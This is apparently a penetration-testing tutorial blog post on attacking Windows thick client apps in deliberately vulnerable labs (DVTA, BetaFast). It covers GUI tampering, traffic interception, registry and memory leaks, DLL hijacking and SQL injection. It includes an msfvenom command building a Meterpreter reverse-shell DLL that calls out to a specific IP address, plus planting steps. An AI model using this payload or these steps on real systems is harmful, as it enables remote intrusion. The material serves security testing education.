.svg){kind=icon}
.svg){kind=icon}
Welcome to the second part of the blog series "Attacking windows application." Suppose you don't know what a thick client is and how to debug thick client applications; we recommend you read our previous blog post on this series to learn about common vulnerabilities in thick clients.
Attacking the GUI
Several users can access the thick client application with different privileges. Low-privileged users might not be able to use some features of the user interface designed for administrators.
Some tools do the job for you. Sometimes to activate the features that are not available for the current privileged users or read passwords in the cleartext.
- WinSpy++
- Windows Detective
- SnoopWPF
- Explore more security testing tools with the top 20 pentester tools.
In this scenario, we will see how we can read the saved password, which we can not copy from the GUI.
We will use winspy++, which allows us to view and modify controls.
Open DVTA and drag down the finder tool from winspy++ to the login page of DVTA. Navigate to the windows tab and notice that we can see the password in cleartext.
The same tool called windows detector can be used, which is more flexible and offer extra features.
Now we will see how we can enable admin features by toggling admin visibility using snoopwpf.
The server should be able to validate the user's authorization to these restricted pages. Unfortunately, this isn't always the case. That doesn't make it a vulnerability.
First, login to the BetaFast with the normal user and open snoop.
Traverse through the design tree and find the 'AdminVisibility' property.
We will change the value to 'visible' for accessing admin modules.
The screenshot below shows how a User can create an Admin account and view all the accounts in the database.
Setting up the proxy
Penetration tests are not complete without traffic analysis. Whenever a thick client communicates using HTTP, it is easy to intercept that communication. Our discussion this time will be on how to analyze thick client applications using some of the techniques discussed below.
Three Tier applications
Burpsuite
Proxy-aware applications
Some thick clients will respect the proxy settings on the computer. Burp Suite can be used as a proxy to test if this is the case.
Explore the application's functionality while Burp is running and your system proxy settings are configured.
Proxy-Unware
In many cases, thick clients cannot be configured to use HTTP proxies, or they do so very complexly.
Clients without Proxy awareness can connect directly to a Proxy listener with Burp's invisible proxying support.
Two Tier applications.
In the previous part of this series, we have shown how you can monitor the traffic through Wireshark.
Intercepting and modifying TCP traffic on a remote computer is possible using Echo Mirage.
Open Echo mirage and inject the BetaBank process.
Log in to the application, and traffic will flow through echo mirage.
Other tools that you can use:
Information Disclosure
Many applications often use the registry and file system as storage areas for sensitive information. The developers might encrypt this data for added security, but the encryption implementation might be insecure or customized. It is always necessary to store the key separately from the encrypted data, such as in a secure database.
Registry Monitoring
Some applications store usernames, passwords, or other sensitive information in the windows registry.
Launch Process Monitor and authenticate to the BetaFast application. For a username, a RegSetValue operation is performed, and for a password, another operation is performed.
Open the registry editor from the windows menu. Navigate to the BetaFast application. Notice that the application writes username and password to the registry.
Hardcoded password
Whenever possible, decompile an application's binaries first to discover hidden information. This is done by loading BetaBank.exe into dnSpy.
Searching for "password" yields an encrypted hardcoded password.
Sensitive information logging
As part of this step, you must know which files the application tested uses. We use the Process Monitor tool from the Sysinternals Suite to collect all the necessary information.
To find the current user's payment details, the application searches C: /ProgramData/BetaFast/paymentdetails.
Check Save Payment Details on the form and submit it to see what happens.
As expected, the file also contains information about a credit card shown in the cleartext.
Memory Analysis
Attackers can gain access to memory values if they compromise a system. In addition to analyzing memory, there are many more problems if an attacker has compromised the system. It is essential that applications are responsible for their security to the extent possible and not rely on the security of the system upon which they run.
Open Process hacker and select the process you want to analyze. Right-click on the process and select "properties".
You should select the Memory tab in the properties window, choose Strings, and click OK.
In all of the dumped memory data, the Hacker Process tool has a great filter mechanism that can help us find a keyword.
Notice that the application stores credit card information in memory.
DLL Hijacking
During DLL preloading, an attacker provides a malicious DLL to use instead of a legitimate DLL that an application expects to call. The application will search for the DLL in a particular order if it is not properly configured.
The search order used in the default SafeDllSearchMode is as below:
- The directory from which the application was loaded.
- The system directory. You can get this directory's path using the "GetSystemDirectory" function.
- A 16-bit system directory. Any function cannot obtain the path of this directory, but it is searched.
- The Windows directory. This directory's path can be obtained using the "GetWindowsDirectory" function.
- The current working directory.
- Directory paths are listed in the PATH environment variable. That doesn't include the app paths specified by the App Paths registry key. The App Paths key isn't used when computing the DLL search path.
For a DLL planting vulnerability to be exploited, the attacker must be able to plant the malicious DLL in any of the directories searched per the search order, and the planted DLL must not also be found in the prior directories searched in which the attacker has no access. For example, a program that loads foo.dll but does not exist in either the application directory, the system directory, or the Windows directory gives an attacker the chance to plant foo.dll.
Based on where the malicious DLL can be planted in the DLL search order, the vulnerability broadly falls into one of the three categories:
- Application Directory (App Dir) DLL planting.
- Current Working Directory (CWD) DLL planting.
- PATH Directories DLL planting.
Application Directory (App Dir) DLL planting
Non-system DLLs are stored in the application directory, which an application trusts to be intact. Directory ACL security controls are typically used to protect files within a program's installation directory.
Current Working Directory (CWD) DLL planting
When an application is invoked according to the default file association, the CWD is typically the directory the application is invoked. The CWD will be "D:/cobalt" when you open a file from the share "D:/cobalt/hack.exe"'
PATH Directories DLL planting
A final option for finding DLLs in the DLL search order is the PATH directories, which are set up by various applications to facilitate user experience in getting information about the application and its artifacts. A normal user cannot modify the contents of directories in the PATH environment variable since they are always admin ACLed.
Identifying vulnerable DLLs
You can use Process Monitor to identify the nonexistent DLL since the application will be attempting to open a .dll file that isn't present.
Having filtered all the processes, let's only see the data we're interested in to reduce the number of processes. You can apply the filter by navigating to the filter and applying the filter as shown below.
A malicious DLL could then be placed in one of the directories listed in the search order, causing malicious code to be executed.
The following steps will show you how to create a malicious DLL in Kali Linux using msfvenom.
Msfvenom -p windows/meterpreter/reverse_tcp LHOST=139.59.78.76 LPORT=4444 -f dll > DWrite.dll
You should place it in the DVTA directory.
Using the meterpreter payload, start a Metasploit listener in Kali Linux.
We should get a shell by executing the DLL file from the DVTA application. As an attacker, imagine that you have placed a malicious file in the DVTA application directory on the windows machine. The administrator will need to initiate a restart of the DVTA application.
Returning to the Kali Linux machine, you will see a meterpreter shell.
Side Channel Data Leaks
Side-channel data leaks are most often caused by application logging. Debugging during development is usually accomplished using logging.
You can write debug logs into a disk file by developers. Keeping these debug logs can cause a security risk when the application is moved into production.
Other tools that you can use:
Server-Side Attacks
OWASP TOP10 Vulnerabilities
The OWASP Top10 can now be focused upon once all the details of thick client testing are complete.
The most common vulnerability in thick client applications is SQL Injection.
SQL Injection
SQL injection (SQLi) is a web security vulnerability that allows an application's queries to its database. It will generally enable attackers to view data belonging to other users or any other data that the application can access. Attackers can often modify or delete data, causing persistent changes to the application's content or behavior.
Submitting the single quote character (') and looking for errors or other anomalies.
The remaining steps are the same as followed during web pentest. For quicker exploitation, we will use SQLmap to retrieve the database.
You can check other OWASP Top 10 depending upon the application's functionality.
Closing Remarks
As a result of this series, we covered quite a several methods and tools for testing thick client applications at a high level. We hope the methodology will be helpful to you whenever you face a thick client application.
Read more about other windows related vulnerability exploitations and how to protect against them.
References
- https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
- https://owasp.org/www-community/attacks/SQL_Injection
- https://www.netspi.com/blog/technical/thick-application-penetration-testing/
- https://www.cyberark.com/resources/threat-research-blog
- https://dnspy.dev/
- https://github.com/NetSPI/BetaFast
- https://github.com/srini0x00/dvta
